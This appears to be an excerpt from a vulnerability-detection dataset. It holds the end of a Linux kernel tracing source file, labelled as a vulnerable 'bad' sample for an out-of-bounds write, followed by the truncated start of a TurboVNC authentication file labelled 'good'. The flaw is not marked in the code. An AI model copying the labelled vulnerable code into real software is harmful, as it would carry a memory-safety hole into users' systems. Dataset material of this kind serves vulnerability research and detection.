ret; *ppos += cnt; return cnt; } static const struct file_operations trace_options_core_fops = { .open = tracing_open_generic, .read = trace_options_core_read, .write = trace_options_core_write, .llseek = generic_file_llseek, }; struct dentry *trace_create_file(const char *name, umode_t mode, struct dentry *parent, void *data, const struct file_operations *fops) { struct dentry *ret; ret = tracefs_create_file(name, mode, parent, data, fops); if (!ret) pr_warn("Could not create tracefs '%s' entry\n", name); return ret; } static struct dentry *trace_options_init_dentry(struct trace_array *tr) { struct dentry *d_tracer; if (tr->options) return tr->options; d_tracer = tracing_get_dentry(tr); if (IS_ERR(d_tracer)) return NULL; tr->options = tracefs_create_dir("options", d_tracer); if (!tr->options) { pr_warn("Could not create tracefs directory 'options'\n"); return NULL; } return tr->options; } static void create_trace_option_file(struct trace_array *tr, struct trace_option_dentry *topt, struct tracer_flags *flags, struct tracer_opt *opt) { struct dentry *t_options; t_options = trace_options_init_dentry(tr); if (!t_options) return; topt->flags = flags; topt->opt = opt; topt->tr = tr; topt->entry = trace_create_file(opt->name, 0644, t_options, topt, &trace_options_fops); } static void create_trace_option_files(struct trace_array *tr, struct tracer *tracer) { struct trace_option_dentry *topts; struct trace_options *tr_topts; struct tracer_flags *flags; struct tracer_opt *opts; int cnt; int i; if (!tracer) return; flags = tracer->flags; if (!flags || !flags->opts) return; /* * If this is an instance, only create flags for tracers * the instance may have. */ if (!trace_ok_for_array(tracer, tr)) return; for (i = 0; i < tr->nr_topts; i++) { /* Make sure there's no duplicate flags. */ if (WARN_ON_ONCE(tr->topts[i].tracer->flags == tracer->flags)) return; } opts = flags->opts; for (cnt = 0; opts[cnt].name; cnt++) ; topts = kcalloc(cnt + 1, sizeof(*topts), GFP_KERNEL); if (!topts) return; tr_topts = krealloc(tr->topts, sizeof(*tr->topts) * (tr->nr_topts + 1), GFP_KERNEL); if (!tr_topts) { kfree(topts); return; } tr->topts = tr_topts; tr->topts[tr->nr_topts].tracer = tracer; tr->topts[tr->nr_topts].topts = topts; tr->nr_topts++; for (cnt = 0; opts[cnt].name; cnt++) { create_trace_option_file(tr, &topts[cnt], flags, &opts[cnt]); WARN_ONCE(topts[cnt].entry == NULL, "Failed to create trace option: %s", opts[cnt].name); } } static struct dentry * create_trace_option_core_file(struct trace_array *tr, const char *option, long index) { struct dentry *t_options; t_options = trace_options_init_dentry(tr); if (!t_options) return NULL; return trace_create_file(option, 0644, t_options, (void *)&tr->trace_flags_index[index], &trace_options_core_fops); } static void create_trace_options_dir(struct trace_array *tr) { struct dentry *t_options; bool top_level = tr == &global_trace; int i; t_options = trace_options_init_dentry(tr); if (!t_options) return; for (i = 0; trace_options[i]; i++) { if (top_level || !((1 << i) & TOP_LEVEL_TRACE_FLAGS)) create_trace_option_core_file(tr, trace_options[i], i); } } static ssize_t rb_simple_read(struct file *filp, char __user *ubuf, size_t cnt, loff_t *ppos) { struct trace_array *tr = filp->private_data; char buf[64]; int r; r = tracer_tracing_is_on(tr); r = sprintf(buf, "%d\n", r); return simple_read_from_buffer(ubuf, cnt, ppos, buf, r); } static ssize_t rb_simple_write(struct file *filp, const char __user *ubuf, size_t cnt, loff_t *ppos) { struct trace_array *tr = filp->private_data; struct ring_buffer *buffer = tr->trace_buffer.buffer; unsigned long val; int ret; ret = kstrtoul_from_user(ubuf, cnt, 10, &val); if (ret) return ret; if (buffer) { mutex_lock(&trace_types_lock); if (val) { tracer_tracing_on(tr); if (tr->current_trace->start) tr->current_trace->start(tr); } else { tracer_tracing_off(tr); if (tr->current_trace->stop) tr->current_trace->stop(tr); } mutex_unlock(&trace_types_lock); } (*ppos)++; return cnt; } static const struct file_operations rb_simple_fops = { .open = tracing_open_generic_tr, .read = rb_simple_read, .write = rb_simple_write, .release = tracing_release_generic_tr, .llseek = default_llseek, }; struct dentry *trace_instance_dir; static void init_tracer_tracefs(struct trace_array *tr, struct dentry *d_tracer); static int allocate_trace_buffer(struct trace_array *tr, struct trace_buffer *buf, int size) { enum ring_buffer_flags rb_flags; rb_flags = tr->trace_flags & TRACE_ITER_OVERWRITE ? RB_FL_OVERWRITE : 0; buf->tr = tr; buf->buffer = ring_buffer_alloc(size, rb_flags); if (!buf->buffer) return -ENOMEM; buf->data = alloc_percpu(struct trace_array_cpu); if (!buf->data) { ring_buffer_free(buf->buffer); buf->buffer = NULL; return -ENOMEM; } /* Allocate the first page for all buffers */ set_buffer_entries(&tr->trace_buffer, ring_buffer_size(tr->trace_buffer.buffer, 0)); return 0; } static int allocate_trace_buffers(struct trace_array *tr, int size) { int ret; ret = allocate_trace_buffer(tr, &tr->trace_buffer, size); if (ret) return ret; #ifdef CONFIG_TRACER_MAX_TRACE ret = allocate_trace_buffer(tr, &tr->max_buffer, allocate_snapshot ? size : 1); if (WARN_ON(ret)) { ring_buffer_free(tr->trace_buffer.buffer); tr->trace_buffer.buffer = NULL; free_percpu(tr->trace_buffer.data); tr->trace_buffer.data = NULL; return -ENOMEM; } tr->allocated_snapshot = allocate_snapshot; /* * Only the top level trace array gets its snapshot allocated * from the kernel command line. */ allocate_snapshot = false; #endif return 0; } static void free_trace_buffer(struct trace_buffer *buf) { if (buf->buffer) { ring_buffer_free(buf->buffer); buf->buffer = NULL; free_percpu(buf->data); buf->data = NULL; } } static void free_trace_buffers(struct trace_array *tr) { if (!tr) return; free_trace_buffer(&tr->trace_buffer); #ifdef CONFIG_TRACER_MAX_TRACE free_trace_buffer(&tr->max_buffer); #endif } static void init_trace_flags_index(struct trace_array *tr) { int i; /* Used by the trace options files */ for (i = 0; i < TRACE_FLAGS_MAX_SIZE; i++) tr->trace_flags_index[i] = i; } static void __update_tracer_options(struct trace_array *tr) { struct tracer *t; for (t = trace_types; t; t = t->next) add_tracer_options(tr, t); } static void update_tracer_options(struct trace_array *tr) { mutex_lock(&trace_types_lock); __update_tracer_options(tr); mutex_unlock(&trace_types_lock); } static int instance_mkdir(const char *name) { struct trace_array *tr; int ret; mutex_lock(&event_mutex); mutex_lock(&trace_types_lock); ret = -EEXIST; list_for_each_entry(tr, &ftrace_trace_arrays, list) { if (tr->name && strcmp(tr->name, name) == 0) goto out_unlock; } ret = -ENOMEM; tr = kzalloc(sizeof(*tr), GFP_KERNEL); if (!tr) goto out_unlock; tr->name = kstrdup(name, GFP_KERNEL); if (!tr->name) goto out_free_tr; if (!alloc_cpumask_var(&tr->tracing_cpumask, GFP_KERNEL)) goto out_free_tr; tr->trace_flags = global_trace.trace_flags & ~ZEROED_TRACE_FLAGS; cpumask_copy(tr->tracing_cpumask, cpu_all_mask); raw_spin_lock_init(&tr->start_lock); tr->max_lock = (arch_spinlock_t)__ARCH_SPIN_LOCK_UNLOCKED; tr->current_trace = &nop_trace; INIT_LIST_HEAD(&tr->systems); INIT_LIST_HEAD(&tr->events); INIT_LIST_HEAD(&tr->hist_vars); if (allocate_trace_buffers(tr, trace_buf_size) < 0) goto out_free_tr; tr->dir = tracefs_create_dir(name, trace_instance_dir); if (!tr->dir) goto out_free_tr; ret = event_trace_add_tracer(tr->dir, tr); if (ret) { tracefs_remove_recursive(tr->dir); goto out_free_tr; } ftrace_init_trace_array(tr); init_tracer_tracefs(tr, tr->dir); init_trace_flags_index(tr); __update_tracer_options(tr); list_add(&tr->list, &ftrace_trace_arrays); mutex_unlock(&trace_types_lock); mutex_unlock(&event_mutex); return 0; out_free_tr: free_trace_buffers(tr); free_cpumask_var(tr->tracing_cpumask); kfree(tr->name); kfree(tr); out_unlock: mutex_unlock(&trace_types_lock); mutex_unlock(&event_mutex); return ret; } static int instance_rmdir(const char *name) { struct trace_array *tr; int found = 0; int ret; int i; mutex_lock(&event_mutex); mutex_lock(&trace_types_lock); ret = -ENODEV; list_for_each_entry(tr, &ftrace_trace_arrays, list) { if (tr->name && strcmp(tr->name, name) == 0) { found = 1; break; } } if (!found) goto out_unlock; ret = -EBUSY; if (tr->ref || (tr->current_trace && tr->current_trace->ref)) goto out_unlock; list_del(&tr->list); /* Disable all the flags that were enabled coming in */ for (i = 0; i < TRACE_FLAGS_MAX_SIZE; i++) { if ((1 << i) & ZEROED_TRACE_FLAGS) set_tracer_flag(tr, 1 << i, 0); } tracing_set_nop(tr); clear_ftrace_function_probes(tr); event_trace_del_tracer(tr); ftrace_clear_pids(tr); ftrace_destroy_function_files(tr); tracefs_remove_recursive(tr->dir); free_trace_buffers(tr); for (i = 0; i < tr->nr_topts; i++) { kfree(tr->topts[i].topts); } kfree(tr->topts); free_cpumask_var(tr->tracing_cpumask); kfree(tr->name); kfree(tr); ret = 0; out_unlock: mutex_unlock(&trace_types_lock); mutex_unlock(&event_mutex); return ret; } static __init void create_trace_instances(struct dentry *d_tracer) { trace_instance_dir = tracefs_create_instance_dir("instances", d_tracer, instance_mkdir, instance_rmdir); if (WARN_ON(!trace_instance_dir)) return; } static void init_tracer_tracefs(struct trace_array *tr, struct dentry *d_tracer) { struct trace_event_file *file; int cpu; trace_create_file("available_tracers", 0444, d_tracer, tr, &show_traces_fops); trace_create_file("current_tracer", 0644, d_tracer, tr, &set_tracer_fops); trace_create_file("tracing_cpumask", 0644, d_tracer, tr, &tracing_cpumask_fops); trace_create_file("trace_options", 0644, d_tracer, tr, &tracing_iter_fops); trace_create_file("trace", 0644, d_tracer, tr, &tracing_fops); trace_create_file("trace_pipe", 0444, d_tracer, tr, &tracing_pipe_fops); trace_create_file("buffer_size_kb", 0644, d_tracer, tr, &tracing_entries_fops); trace_create_file("buffer_total_size_kb", 0444, d_tracer, tr, &tracing_total_entries_fops); trace_create_file("free_buffer", 0200, d_tracer, tr, &tracing_free_buffer_fops); trace_create_file("trace_marker", 0220, d_tracer, tr, &tracing_mark_fops); file = __find_event_file(tr, "ftrace", "print"); if (file && file->dir) trace_create_file("trigger", 0644, file->dir, file, &event_trigger_fops); tr->trace_marker_file = file; trace_create_file("trace_marker_raw", 0220, d_tracer, tr, &tracing_mark_raw_fops); trace_create_file("trace_clock", 0644, d_tracer, tr, &trace_clock_fops); trace_create_file("tracing_on", 0644, d_tracer, tr, &rb_simple_fops); trace_create_file("timestamp_mode", 0444, d_tracer, tr, &trace_time_stamp_mode_fops); create_trace_options_dir(tr); #if defined(CONFIG_TRACER_MAX_TRACE) || defined(CONFIG_HWLAT_TRACER) trace_create_file("tracing_max_latency", 0644, d_tracer, &tr->max_latency, &tracing_max_lat_fops); #endif if (ftrace_create_function_files(tr, d_tracer)) WARN(1, "Could not allocate function filter files"); #ifdef CONFIG_TRACER_SNAPSHOT trace_create_file("snapshot", 0644, d_tracer, tr, &snapshot_fops); #endif for_each_tracing_cpu(cpu) tracing_init_tracefs_percpu(tr, cpu); ftrace_init_tracefs(tr, d_tracer); } static struct vfsmount *trace_automount(struct dentry *mntpt, void *ingore) { struct vfsmount *mnt; struct file_system_type *type; /* * To maintain backward compatibility for tools that mount * debugfs to get to the tracing facility, tracefs is automatically * mounted to the debugfs/tracing directory. */ type = get_fs_type("tracefs"); if (!type) return NULL; mnt = vfs_submount(mntpt, type, "tracefs", NULL); put_filesystem(type); if (IS_ERR(mnt)) return NULL; mntget(mnt); return mnt; } /** * tracing_init_dentry - initialize top level trace array * * This is called when creating files or directories in the tracing * directory. It is called via fs_initcall() by any of the boot up code * and expects to return the dentry of the top level tracing directory. */ struct dentry *tracing_init_dentry(void) { struct trace_array *tr = &global_trace; /* The top level trace array uses NULL as parent */ if (tr->dir) return NULL; if (WARN_ON(!tracefs_initialized()) || (IS_ENABLED(CONFIG_DEBUG_FS) && WARN_ON(!debugfs_initialized()))) return ERR_PTR(-ENODEV); /* * As there may still be users that expect the tracing * files to exist in debugfs/tracing, we must automount * the tracefs file system there, so older tools still * work with the newer kerenl. */ tr->dir = debugfs_create_automount("tracing", NULL, trace_automount, NULL); if (!tr->dir) { pr_warn_once("Could not create debugfs directory 'tracing'\n"); return ERR_PTR(-ENOMEM); } return NULL; } extern struct trace_eval_map *__start_ftrace_eval_maps[]; extern struct trace_eval_map *__stop_ftrace_eval_maps[]; static void __init trace_eval_init(void) { int len; len = __stop_ftrace_eval_maps - __start_ftrace_eval_maps; trace_insert_eval_map(NULL, __start_ftrace_eval_maps, len); } #ifdef CONFIG_MODULES static void trace_module_add_evals(struct module *mod) { if (!mod->num_trace_evals) return; /* * Modules with bad taint do not have events created, do * not bother with enums either. */ if (trace_module_has_bad_taint(mod)) return; trace_insert_eval_map(mod, mod->trace_evals, mod->num_trace_evals); } #ifdef CONFIG_TRACE_EVAL_MAP_FILE static void trace_module_remove_evals(struct module *mod) { union trace_eval_map_item *map; union trace_eval_map_item **last = &trace_eval_maps; if (!mod->num_trace_evals) return; mutex_lock(&trace_eval_mutex); map = trace_eval_maps; while (map) { if (map->head.mod == mod) break; map = trace_eval_jmp_to_tail(map); last = &map->tail.next; map = map->tail.next; } if (!map) goto out; *last = trace_eval_jmp_to_tail(map)->tail.next; kfree(map); out: mutex_unlock(&trace_eval_mutex); } #else static inline void trace_module_remove_evals(struct module *mod) { } #endif /* CONFIG_TRACE_EVAL_MAP_FILE */ static int trace_module_notify(struct notifier_block *self, unsigned long val, void *data) { struct module *mod = data; switch (val) { case MODULE_STATE_COMING: trace_module_add_evals(mod); break; case MODULE_STATE_GOING: trace_module_remove_evals(mod); break; } return 0; } static struct notifier_block trace_module_nb = { .notifier_call = trace_module_notify, .priority = 0, }; #endif /* CONFIG_MODULES */ static __init int tracer_init_tracefs(void) { struct dentry *d_tracer; trace_access_lock_init(); d_tracer = tracing_init_dentry(); if (IS_ERR(d_tracer)) return 0; event_trace_init(); init_tracer_tracefs(&global_trace, d_tracer); ftrace_init_tracefs_toplevel(&global_trace, d_tracer); trace_create_file("tracing_thresh", 0644, d_tracer, &global_trace, &tracing_thresh_fops); trace_create_file("README", 0444, d_tracer, NULL, &tracing_readme_fops); trace_create_file("saved_cmdlines", 0444, d_tracer, NULL, &tracing_saved_cmdlines_fops); trace_create_file("saved_cmdlines_size", 0644, d_tracer, NULL, &tracing_saved_cmdlines_size_fops); trace_create_file("saved_tgids", 0444, d_tracer, NULL, &tracing_saved_tgids_fops); trace_eval_init(); trace_create_eval_file(d_tracer); #ifdef CONFIG_MODULES register_module_notifier(&trace_module_nb); #endif #ifdef CONFIG_DYNAMIC_FTRACE trace_create_file("dyn_ftrace_total_info", 0444, d_tracer, &ftrace_update_tot_cnt, &tracing_dyn_info_fops); #endif create_trace_instances(d_tracer); update_tracer_options(&global_trace); return 0; } static int trace_panic_handler(struct notifier_block *this, unsigned long event, void *unused) { if (ftrace_dump_on_oops) ftrace_dump(ftrace_dump_on_oops); return NOTIFY_OK; } static struct notifier_block trace_panic_notifier = { .notifier_call = trace_panic_handler, .next = NULL, .priority = 150 /* priority: INT_MAX >= x >= 0 */ }; static int trace_die_handler(struct notifier_block *self, unsigned long val, void *data) { switch (val) { case DIE_OOPS: if (ftrace_dump_on_oops) ftrace_dump(ftrace_dump_on_oops); break; default: break; } return NOTIFY_OK; } static struct notifier_block trace_die_notifier = { .notifier_call = trace_die_handler, .priority = 200 }; /* * printk is set to max of 1024, we really don't need it that big. * Nothing should be printing 1000 characters anyway. */ #define TRACE_MAX_PRINT 1000 /* * Define here KERN_TRACE so that we have one place to modify * it if we decide to change what log level the ftrace dump * should be at. */ #define KERN_TRACE KERN_EMERG void trace_printk_seq(struct trace_seq *s) { /* Probably should print a warning here. */ if (s->seq.len >= TRACE_MAX_PRINT) s->seq.len = TRACE_MAX_PRINT; /* * More paranoid code. Although the buffer size is set to * PAGE_SIZE, and TRACE_MAX_PRINT is 1000, this is just * an extra layer of protection. */ if (WARN_ON_ONCE(s->seq.len >= s->seq.size)) s->seq.len = s->seq.size - 1; /* should be zero ended, but we are paranoid. */ s->buffer[s->seq.len] = 0; printk(KERN_TRACE "%s", s->buffer); trace_seq_init(s); } void trace_init_global_iter(struct trace_iterator *iter) { iter->tr = &global_trace; iter->trace = iter->tr->current_trace; iter->cpu_file = RING_BUFFER_ALL_CPUS; iter->trace_buffer = &global_trace.trace_buffer; if (iter->trace && iter->trace->open) iter->trace->open(iter); /* Annotate start of buffers if we had overruns */ if (ring_buffer_overruns(iter->trace_buffer->buffer)) iter->iter_flags |= TRACE_FILE_ANNOTATE; /* Output in nanoseconds only if we are using a clock in nanoseconds. */ if (trace_clocks[iter->tr->clock_id].in_ns) iter->iter_flags |= TRACE_FILE_TIME_IN_NS; } void ftrace_dump(enum ftrace_dump_mode oops_dump_mode) { /* use static because iter can be a bit big for the stack */ static struct trace_iterator iter; static atomic_t dump_running; struct trace_array *tr = &global_trace; unsigned int old_userobj; unsigned long flags; int cnt = 0, cpu; /* Only allow one dump user at a time. */ if (atomic_inc_return(&dump_running) != 1) { atomic_dec(&dump_running); return; } /* * Always turn off tracing when we dump. * We don't need to show trace output of what happens * between multiple crashes. * * If the user does a sysrq-z, then they can re-enable * tracing with echo 1 > tracing_on. */ tracing_off(); local_irq_save(flags); /* Simulate the iterator */ trace_init_global_iter(&iter); for_each_tracing_cpu(cpu) { atomic_inc(&per_cpu_ptr(iter.trace_buffer->data, cpu)->disabled); } old_userobj = tr->trace_flags & TRACE_ITER_SYM_USEROBJ; /* don't look at user memory in panic mode */ tr->trace_flags &= ~TRACE_ITER_SYM_USEROBJ; switch (oops_dump_mode) { case DUMP_ALL: iter.cpu_file = RING_BUFFER_ALL_CPUS; break; case DUMP_ORIG: iter.cpu_file = raw_smp_processor_id(); break; case DUMP_NONE: goto out_enable; default: printk(KERN_TRACE "Bad dumping mode, switching to all CPUs dump\n"); iter.cpu_file = RING_BUFFER_ALL_CPUS; } printk(KERN_TRACE "Dumping ftrace buffer:\n"); /* Did function tracer already get disabled? */ if (ftrace_is_dead()) { printk("# WARNING: FUNCTION TRACING IS CORRUPTED\n"); printk("# MAY BE MISSING FUNCTION EVENTS\n"); } /* * We need to stop all tracing on all CPUS to read the * the next buffer. This is a bit expensive, but is * not done often. We fill all what we can read, * and then release the locks again. */ while (!trace_empty(&iter)) { if (!cnt) printk(KERN_TRACE "---------------------------------\n"); cnt++; /* reset all but tr, trace, and overruns */ memset(&iter.seq, 0, sizeof(struct trace_iterator) - offsetof(struct trace_iterator, seq)); iter.iter_flags |= TRACE_FILE_LAT_FMT; iter.pos = -1; if (trace_find_next_entry_inc(&iter) != NULL) { int ret; ret = print_trace_line(&iter); if (ret != TRACE_TYPE_NO_CONSUME) trace_consume(&iter); } touch_nmi_watchdog(); trace_printk_seq(&iter.seq); } if (!cnt) printk(KERN_TRACE " (ftrace buffer empty)\n"); else printk(KERN_TRACE "---------------------------------\n"); out_enable: tr->trace_flags |= old_userobj; for_each_tracing_cpu(cpu) { atomic_dec(&per_cpu_ptr(iter.trace_buffer->data, cpu)->disabled); } atomic_dec(&dump_running); local_irq_restore(flags); } EXPORT_SYMBOL_GPL(ftrace_dump); int trace_run_command(const char *buf, int (*createfn)(int, char **)) { char **argv; int argc, ret; argc = 0; ret = 0; argv = argv_split(GFP_KERNEL, buf, &argc); if (!argv) return -ENOMEM; if (argc) ret = createfn(argc, argv); argv_free(argv); return ret; } #define WRITE_BUFSIZE 4096 ssize_t trace_parse_run_command(struct file *file, const char __user *buffer, size_t count, loff_t *ppos, int (*createfn)(int, char **)) { char *kbuf, *buf, *tmp; int ret = 0; size_t done = 0; size_t size; kbuf = kmalloc(WRITE_BUFSIZE, GFP_KERNEL); if (!kbuf) return -ENOMEM; while (done < count) { size = count - done; if (size >= WRITE_BUFSIZE) size = WRITE_BUFSIZE - 1; if (copy_from_user(kbuf, buffer + done, size)) { ret = -EFAULT; goto out; } kbuf[size] = '\0'; buf = kbuf; do { tmp = strchr(buf, '\n'); if (tmp) { *tmp = '\0'; size = tmp - buf + 1; } else { size = strlen(buf); if (done + size < count) { if (buf != kbuf) break; /* This can accept WRITE_BUFSIZE - 2 ('\n' + '\0') */ pr_warn("Line length is too long: Should be less than %d\n", WRITE_BUFSIZE - 2); ret = -EINVAL; goto out; } } done += size; /* Remove comments */ tmp = strchr(buf, '#'); if (tmp) *tmp = '\0'; ret = trace_run_command(buf, createfn); if (ret) goto out; buf += size; } while (done < count); } ret = done; out: kfree(kbuf); return ret; } __init static int tracer_alloc_buffers(void) { int ring_buf_size; int ret = -ENOMEM; /* * Make sure we don't accidently add more trace options * than we have bits for. */ BUILD_BUG_ON(TRACE_ITER_LAST_BIT > TRACE_FLAGS_MAX_SIZE); if (!alloc_cpumask_var(&tracing_buffer_mask, GFP_KERNEL)) goto out; if (!alloc_cpumask_var(&global_trace.tracing_cpumask, GFP_KERNEL)) goto out_free_buffer_mask; /* Only allocate trace_printk buffers if a trace_printk exists */ if (__stop___trace_bprintk_fmt != __start___trace_bprintk_fmt) /* Must be called before global_trace.buffer is allocated */ trace_printk_init_buffers(); /* To save memory, keep the ring buffer size to its minimum */ if (ring_buffer_expanded) ring_buf_size = trace_buf_size; else ring_buf_size = 1; cpumask_copy(tracing_buffer_mask, cpu_possible_mask); cpumask_copy(global_trace.tracing_cpumask, cpu_all_mask); raw_spin_lock_init(&global_trace.start_lock); /* * The prepare callbacks allocates some memory for the ring buffer. We * don't free the buffer if the if the CPU goes down. If we were to free * the buffer, then the user would lose any trace that was in the * buffer. The memory will be removed once the "instance" is removed. */ ret = cpuhp_setup_state_multi(CPUHP_TRACE_RB_PREPARE, "trace/RB:preapre", trace_rb_cpu_prepare, NULL); if (ret < 0) goto out_free_cpumask; /* Used for event triggers */ ret = -ENOMEM; temp_buffer = ring_buffer_alloc(PAGE_SIZE, RB_FL_OVERWRITE); if (!temp_buffer) goto out_rm_hp_state; if (trace_create_savedcmd() < 0) goto out_free_temp_buffer; /* TODO: make the number of buffers hot pluggable with CPUS */ if (allocate_trace_buffers(&global_trace, ring_buf_size) < 0) { printk(KERN_ERR "tracer: failed to allocate ring buffer!\n"); WARN_ON(1); goto out_free_savedcmd; } if (global_trace.buffer_disabled) tracing_off(); if (trace_boot_clock) { ret = tracing_set_clock(&global_trace, trace_boot_clock); if (ret < 0) pr_warn("Trace clock %s not defined, going back to default\n", trace_boot_clock); } /* * register_tracer() might reference current_trace, so it * needs to be set before we register anything. This is * just a bootstrap of current_trace anyway. */ global_trace.current_trace = &nop_trace; global_trace.max_lock = (arch_spinlock_t)__ARCH_SPIN_LOCK_UNLOCKED; ftrace_init_global_array_ops(&global_trace); init_trace_flags_index(&global_trace); register_tracer(&nop_trace); /* Function tracing may start here (via kernel command line) */ init_function_trace(); /* All seems OK, enable tracing */ tracing_disabled = 0; atomic_notifier_chain_register(&panic_notifier_list, &trace_panic_notifier); register_die_notifier(&trace_die_notifier); global_trace.flags = TRACE_ARRAY_FL_GLOBAL; INIT_LIST_HEAD(&global_trace.systems); INIT_LIST_HEAD(&global_trace.events); INIT_LIST_HEAD(&global_trace.hist_vars); list_add(&global_trace.list, &ftrace_trace_arrays); apply_trace_boot_options(); register_snapshot_cmd(); return 0; out_free_savedcmd: free_saved_cmdlines_buffer(savedcmd); out_free_temp_buffer: ring_buffer_free(temp_buffer); out_rm_hp_state: cpuhp_remove_multi_state(CPUHP_TRACE_RB_PREPARE); out_free_cpumask: free_cpumask_var(global_trace.tracing_cpumask); out_free_buffer_mask: free_cpumask_var(tracing_buffer_mask); out: return ret; } void __init early_trace_init(void) { if (tracepoint_printk) { tracepoint_print_iter = kmalloc(sizeof(*tracepoint_print_iter), GFP_KERNEL); if (WARN_ON(!tracepoint_print_iter)) tracepoint_printk = 0; else static_key_enable(&tracepoint_printk_key.key); } tracer_alloc_buffers(); } void __init trace_init(void) { trace_event_init(); } __init static int clear_boot_tracer(void) { /* * The default tracer at boot buffer is an init section. * This function is called in lateinit. If we did not * find the boot tracer, then clear it out, to prevent * later registration from accessing the buffer that is * about to be freed. */ if (!default_bootup_tracer) return 0; printk(KERN_INFO "ftrace bootup tracer '%s' not registered.\n", default_bootup_tracer); default_bootup_tracer = NULL; return 0; } fs_initcall(tracer_init_tracefs); late_initcall_sync(clear_boot_tracer); #ifdef CONFIG_HAVE_UNSTABLE_SCHED_CLOCK __init static int tracing_set_default_clock(void) { /* sched_clock_stable() is determined in late_initcall */ if (!trace_boot_clock && !sched_clock_stable()) { printk(KERN_WARNING "Unstable clock detected, switching default tracing clock to \"global\"\n" "If you want to keep using the local clock, then add:\n" " \"trace_clock=local\"\n" "on the kernel command line\n"); tracing_set_clock(&global_trace, "global"); } return 0; } late_initcall_sync(tracing_set_default_clock); #endif
./CrossVul/dataset_final_sorted/CWE-787/c/bad_205_2
crossvul-cpp_data_good_1040_0
/* * auth.c - deal with authentication. * * This file implements authentication when setting up an RFB connection. */ /* * Copyright (C) 2010, 2012-2019 D. R. Commander. All Rights Reserved. * Copyright (C) 2010 University Corporation for Atmospheric Research. * All Rights Reserved. * Copyright (C) 2003-2006 Constantin Kaplinsky. All Rights Reserved. * Copyright (C) 1999 AT&T Laboratories Cambridge. All Rights Reserved. * * This is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This software is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this software; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, * USA. */ #ifndef _POSIX_PTHREAD_SEMANTICS #define _POSIX_PTHREAD_SEMANTICS #endif #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sys/stat.h> #include <sys/types.h> #include <errno.h> #include "rfb.h" #include "windowstr.h" char *rfbAuthPasswdFile = NULL; static void rfbSendSecurityType(rfbClientPtr cl, int securityType); static void rfbSendSecurityTypeList(rfbClientPtr cl); static void rfbSendTunnelingCaps(rfbClientPtr cl); static void rfbSendAuthCaps(rfbClientPtr cl); static void rfbVncAuthSendChallenge(rfbClientPtr cl); static void rfbVeNCryptAuthenticate(rfbClientPtr cl); #define AUTH_DEFAULT_CONF_FILE \ CMAKE_INSTALL_FULL_SYSCONFDIR "/turbovncserver-security.conf" #ifdef XVNC_AuthPAM #define AUTH_DEFAULT_PAM_SERVICE_NAME "turbovnc" #endif #define MAX_USER_LEN 64 #define MAX_PWD_LEN 64 char *rfbAuthConfigFile = AUTH_DEFAULT_CONF_FILE; Bool rfbAuthDisableRemoteResize = FALSE; Bool rfbAuthDisableRevCon = FALSE; Bool rfbAuthDisableCBSend = FALSE; Bool rfbAuthDisableCBRecv = FALSE; Bool rfbAuthDisableHTTP = FALSE; Bool rfbAuthDisableX11TCP = FALSE; static int nSecTypesEnabled = 0; static int preferenceLimit = 1; /* Force one iteration of the loop in rfbSendAuthCaps() */ char *rfbAuthOTPValue = NULL; int rfbAuthOTPValueLen = 0; #if USETLS char *rfbAuthX509Cert = NULL; char *rfbAuthX509Key = NULL; char *rfbAuthCipherSuites = NULL; #endif static void AuthNoneStartFunc(rfbClientPtr cl) { rfbClientAuthSucceeded(cl, rfbAuthNone); } static void AuthNoneRspFunc(rfbClientPtr cl) { } #ifdef XVNC_AuthPAM #include <pwd.h> static char *pamServiceName = AUTH_DEFAULT_PAM_SERVICE_NAME; typedef struct UserList { struct UserList *next; const char *name; Bool viewOnly; } UserList; static UserList *userACL = NULL; Bool rfbAuthUserACL = FALSE; void rfbAuthAddUser(const char *name, Bool viewOnly) { UserList *p = (UserList *)rfbAlloc(sizeof(UserList)); rfbLog("Adding user '%s' to ACL with %s privileges\n", name, viewOnly ? " view-only" : "full control"); p->next = userACL; p->name = name; p->viewOnly = viewOnly; userACL = p; } void rfbAuthRevokeUser(const char *name) { UserList **prev = &userACL; UserList *p; rfbLog("Removing user '%s' from ACL\n", name); while (*prev != NULL) { p = *prev; if (!strcmp(p->name, name)) { *prev = p->next; free((void *)p->name); free(p); return; } prev = &p->next; } } static void AuthPAMUserPwdStartFunc(rfbClientPtr cl) { cl->state = RFB_AUTHENTICATION; } static void AuthPAMUserPwdRspFunc(rfbClientPtr cl) { CARD32 userLen; CARD32 pwdLen; char userBuf[MAX_USER_LEN + 1]; char pwdBuf[MAX_PWD_LEN + 1]; int n; const char *emsg; n = ReadExact(cl, (char *)&userLen, sizeof(userLen)); if (n <= 0) { if (n != 0) rfbLogPerror("AuthPAMUserPwdRspFunc: read error"); rfbCloseClient(cl); return; } userLen = Swap32IfLE(userLen); n = ReadExact(cl, (char *)&pwdLen, sizeof(pwdLen)); if (n <= 0) { if (n != 0) rfbLogPerror("AuthPAMUserPwdRspFunc: read error"); rfbCloseClient(cl); return; } pwdLen = Swap32IfLE(pwdLen); if ((userLen > MAX_USER_LEN) || (pwdLen > MAX_PWD_LEN)) { rfbLogPerror("AuthPAMUserPwdRspFunc: excessively large user name or password in response"); rfbCloseClient(cl); return; } n = ReadExact(cl, userBuf, userLen); if (n <= 0) { if (n != 0) rfbLogPerror("AuthPAMUserPwdRspFunc: error reading user name"); rfbCloseClient(cl); return; } userBuf[userLen] = '\0'; n = ReadExact(cl, pwdBuf, pwdLen); if (n <= 0) { if (n != 0) rfbLogPerror("AuthPAMUserPwdRspFunc: error reading password"); rfbCloseClient(cl); return; } pwdBuf[pwdLen] = '\0'; if (rfbAuthUserACL) { UserList *p = userACL; if (p == NULL) rfbLog("WARNING: User ACL is empty. No users will be allowed to log in with Unix Login authentication.\n"); while (p != NULL) { if (!strcmp(p->name, userBuf)) break; p = p->next; } if (p == NULL) { rfbLog("User '%s' is not in the ACL and has been denied access\n", userBuf); rfbClientAuthFailed(cl, "User denied access"); return; } cl->viewOnly = p->viewOnly; } else { struct passwd pbuf; struct passwd *pw; char buf[256]; if (getpwuid_r(getuid(), &pbuf, buf, sizeof(buf), &pw) != 0) FatalError("AuthPAMUserPwdRspFunc: getpwuid_r failed: %s", strerror(errno)); if 